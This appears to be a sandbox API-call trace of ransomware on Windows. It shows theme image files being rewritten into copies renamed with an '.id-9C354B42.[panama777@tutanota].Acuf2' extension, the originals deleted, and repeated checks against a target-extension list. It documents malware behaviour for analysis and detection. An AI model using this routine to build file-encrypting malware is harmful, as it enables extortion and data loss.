	[0053.172] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=33479) returned 1
	[0053.172] CloseHandle (hObject=0x178) returned 1
	[0053.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 0x20
	[0053.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0053.173] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.173] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0053.173] GetLastError () returned 0x0
	[0053.173] ReadFile (in: hFile=0x178, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x82c7, lpOverlapped=0x0) returned 1
	[0053.175] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x82d0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x82d0, lpOverlapped=0x0) returned 1
	[0053.176] ReadFile (in: hFile=0x178, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.176] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0053.177] SetEndOfFile (hFile=0x1a4) returned 1
	[0053.177] CloseHandle (hObject=0x1a4) returned 1
	[0053.177] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.177] SetEndOfFile (hFile=0x178) returned 1
	[0053.180] CloseHandle (hObject=0x178) returned 1
	[0053.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.181] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 1
	[0053.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77
	[0053.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77
	[0053.181] lstrlenW (lpString=".doc") returned 4
	[0053.181] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0053.181] lstrlenW (lpString=".docx") returned 5
	[0053.181] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0053.181] lstrlenW (lpString=".pdf") returned 4
	[0053.181] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0053.181] lstrlenW (lpString=".xls") returned 4
	[0053.181] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0053.181] lstrlenW (lpString=".xlsx") returned 5
	[0053.181] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0053.181] lstrlenW (lpString=".ppt") returned 4
	[0053.181] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0053.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77
	[0053.181] lstrlenW (lpString=".zip") returned 4
	[0053.181] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0053.181] lstrlenW (lpString=".rar") returned 4
	[0053.181] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0053.181] lstrlenW (lpString=".bz2") returned 4
	[0053.181] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0053.182] lstrlenW (lpString=".7z") returned 3
	[0053.182] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0053.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77
	[0053.182] lstrlenW (lpString=".dbf") returned 4
	[0053.182] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0053.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77
	[0053.182] lstrlenW (lpString=".1cd") returned 4
	[0053.182] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0053.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77
	[0053.182] lstrlenW (lpString=".jpg") returned 4
	[0053.182] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0053.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77
	[0053.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77
	[0053.182] lstrlenW (lpString=".doc") returned 4
	[0053.182] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0053.182] lstrlenW (lpString=".docx") returned 5
	[0053.182] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0053.182] lstrlenW (lpString=".pdf") returned 4
	[0053.182] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0053.182] lstrlenW (lpString=".xls") returned 4
	[0053.182] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0053.182] lstrlenW (lpString=".xlsx") returned 5
	[0053.182] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0053.182] lstrlenW (lpString=".ppt") returned 4
	[0053.182] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0053.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77
	[0053.182] lstrlenW (lpString=".zip") returned 4
	[0053.182] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0053.182] lstrlenW (lpString=".rar") returned 4
	[0053.183] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0053.183] lstrlenW (lpString=".bz2") returned 4
	[0053.183] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0053.183] lstrlenW (lpString=".7z") returned 3
	[0053.183] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0053.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77
	[0053.183] lstrlenW (lpString=".dbf") returned 4
	[0053.183] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0053.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77
	[0053.183] lstrlenW (lpString=".1cd") returned 4
	[0053.183] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0053.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77
	[0053.183] lstrlenW (lpString=".jpg") returned 4
	[0053.183] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0053.183] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0053.183] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0053.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0053.184] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1675) returned 1
	[0053.184] CloseHandle (hObject=0x178) returned 1
	[0053.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 0x20
	[0053.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0053.184] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.184] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0053.186] GetLastError () returned 0x0
	[0053.186] ReadFile (in: hFile=0x178, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x68b, lpOverlapped=0x0) returned 1
	[0053.187] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x690, lpOverlapped=0x0) returned 1
	[0053.188] ReadFile (in: hFile=0x178, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.188] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0053.188] SetEndOfFile (hFile=0x1a4) returned 1
	[0053.188] CloseHandle (hObject=0x1a4) returned 1
	[0053.188] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.189] SetEndOfFile (hFile=0x178) returned 1
	[0053.189] CloseHandle (hObject=0x178) returned 1
	[0053.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.190] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 1
	[0053.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74
	[0053.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74
	[0053.190] lstrlenW (lpString=".doc") returned 4
	[0053.190] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0053.190] lstrlenW (lpString=".docx") returned 5
	[0053.190] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0053.190] lstrlenW (lpString=".pdf") returned 4
	[0053.190] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0053.190] lstrlenW (lpString=".xls") returned 4
	[0053.190] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0053.190] lstrlenW (lpString=".xlsx") returned 5
	[0053.190] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0053.190] lstrlenW (lpString=".ppt") returned 4
	[0053.190] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0053.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74
	[0053.190] lstrlenW (lpString=".zip") returned 4
	[0053.190] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0053.190] lstrlenW (lpString=".rar") returned 4
	[0053.190] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0053.190] lstrlenW (lpString=".bz2") returned 4
	[0053.190] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0053.190] lstrlenW (lpString=".7z") returned 3
	[0053.191] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0053.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74
	[0053.191] lstrlenW (lpString=".dbf") returned 4
	[0053.191] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0053.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74
	[0053.191] lstrlenW (lpString=".1cd") returned 4
	[0053.191] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0053.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74
	[0053.191] lstrlenW (lpString=".jpg") returned 4
	[0053.191] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0053.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74
	[0053.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74
	[0053.191] lstrlenW (lpString=".doc") returned 4
	[0053.191] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0053.191] lstrlenW (lpString=".docx") returned 5
	[0053.191] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0053.191] lstrlenW (lpString=".pdf") returned 4
	[0053.191] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0053.191] lstrlenW (lpString=".xls") returned 4
	[0053.191] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0053.191] lstrlenW (lpString=".xlsx") returned 5
	[0053.191] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0053.191] lstrlenW (lpString=".ppt") returned 4
	[0053.191] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0053.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74
	[0053.191] lstrlenW (lpString=".zip") returned 4
	[0053.191] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0053.191] lstrlenW (lpString=".rar") returned 4
	[0053.191] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0053.191] lstrlenW (lpString=".bz2") returned 4
	[0053.191] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0053.192] lstrlenW (lpString=".7z") returned 3
	[0053.192] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0053.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74
	[0053.192] lstrlenW (lpString=".dbf") returned 4
	[0053.192] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0053.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74
	[0053.192] lstrlenW (lpString=".1cd") returned 4
	[0053.192] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0053.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74
	[0053.192] lstrlenW (lpString=".jpg") returned 4
	[0053.192] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0053.192] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0053.192] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0053.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0053.313] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=18380) returned 1
	[0053.313] CloseHandle (hObject=0x1bc) returned 1
	[0053.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 0x20
	[0053.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0053.314] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.314] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0053.314] GetLastError () returned 0x0
	[0053.314] ReadFile (in: hFile=0x1bc, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x47cc, lpOverlapped=0x0) returned 1
	[0053.316] WriteFile (in: hFile=0x1f8, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x47d0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x47d0, lpOverlapped=0x0) returned 1
	[0053.317] ReadFile (in: hFile=0x1bc, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.317] WriteFile (in: hFile=0x1f8, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0053.317] SetEndOfFile (hFile=0x1f8) returned 1
	[0053.317] CloseHandle (hObject=0x1f8) returned 1
	[0053.318] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.318] SetEndOfFile (hFile=0x1bc) returned 1
	[0053.318] CloseHandle (hObject=0x1bc) returned 1
	[0053.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.319] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 1
	[0053.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75
	[0053.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75
	[0053.319] lstrlenW (lpString=".doc") returned 4
	[0053.319] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0053.319] lstrlenW (lpString=".docx") returned 5
	[0053.319] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0053.319] lstrlenW (lpString=".pdf") returned 4
	[0053.319] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0053.319] lstrlenW (lpString=".xls") returned 4
	[0053.319] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0053.320] lstrlenW (lpString=".xlsx") returned 5
	[0053.320] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0053.320] lstrlenW (lpString=".ppt") returned 4
	[0053.320] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0053.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75
	[0053.320] lstrlenW (lpString=".zip") returned 4
	[0053.320] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0053.320] lstrlenW (lpString=".rar") returned 4
	[0053.320] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0053.320] lstrlenW (lpString=".bz2") returned 4
	[0053.320] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0053.320] lstrlenW (lpString=".7z") returned 3
	[0053.320] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0053.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75
	[0053.320] lstrlenW (lpString=".dbf") returned 4
	[0053.320] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0053.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75
	[0053.320] lstrlenW (lpString=".1cd") returned 4
	[0053.320] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0053.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75
	[0053.320] lstrlenW (lpString=".jpg") returned 4
	[0053.320] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0053.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75
	[0053.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75
	[0053.320] lstrlenW (lpString=".doc") returned 4
	[0053.320] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0053.320] lstrlenW (lpString=".docx") returned 5
	[0053.320] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0053.320] lstrlenW (lpString=".pdf") returned 4
	[0053.321] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0053.321] lstrlenW (lpString=".xls") returned 4
	[0053.321] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0053.321] lstrlenW (lpString=".xlsx") returned 5
	[0053.321] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0053.321] lstrlenW (lpString=".ppt") returned 4
	[0053.321] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0053.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75
	[0053.321] lstrlenW (lpString=".zip") returned 4
	[0053.321] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0053.321] lstrlenW (lpString=".rar") returned 4
	[0053.321] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0053.321] lstrlenW (lpString=".bz2") returned 4
	[0053.321] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0053.321] lstrlenW (lpString=".7z") returned 3
	[0053.321] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0053.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75
	[0053.321] lstrlenW (lpString=".dbf") returned 4
	[0053.321] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0053.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75
	[0053.321] lstrlenW (lpString=".1cd") returned 4
	[0053.321] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0053.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75
